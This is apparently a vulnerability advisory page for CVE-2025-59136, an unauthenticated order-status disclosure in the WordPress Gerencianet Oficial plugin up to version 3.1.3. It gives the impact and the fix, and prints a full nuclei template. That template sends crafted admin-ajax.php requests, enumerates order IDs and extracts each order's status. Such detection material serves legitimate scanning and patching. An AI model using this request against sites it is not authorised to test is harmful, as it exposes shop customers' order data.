WordPress Gerencianet Oficial <= 3.1.3 - Unauthenticated Order Status Disclosure

mediumseverity

0.7%likelihood of exploitation, next 30 days

52%of all CVEs are less likely

Readycheck to confirm it

Efí Bank Gerencianet Oficial <= 3.1.3 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve embedded sensitive data, exploit requires crafted requests.

Impact

Attackers can retrieve embedded sensitive data, leading to information disclosure.

Fix

Update to the latest version beyond 3.1.3.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"success\":true" and "\"current_status\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-59136 -u <target>

The full check

id: CVE-2025-59136

info:
  name: WordPress Gerencianet Oficial <= 3.1.3 - Unauthenticated Order Status Disclosure
  author: pussycat0x
  severity: medium
  description: |
    Efí Bank Gerencianet Oficial <= 3.1.3 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve embedded sensitive data, exploit requires crafted requests.
  impact:
    Attackers can retrieve embedded sensitive data, leading to information disclosure.
  remediation: |
    Update to the latest version beyond 3.1.3.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woo-gerencianet-official/gerencianet-oficial-313-unauthenticated-information-exposure
    - https://patchstack.com/database/wordpress/plugin/woo-gerencianet-official/vulnerability/wordpress-gerencianet-oficial-plugin-3-1-3-sensitive-data-exposure-vulnerability
  metadata:
    verified: true
  tags: cve,cve2025,wordpress,wp-plugin,gerencianet,woocommerce

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=gn_check_order_status&order_id={{order_id}}

    attack: batteringram
    payloads:
      order_id:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"current_status"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: order_status
        json:
          - '.data.current_status'

References

Use this check only on systems you are authorised to test. Where the data comes from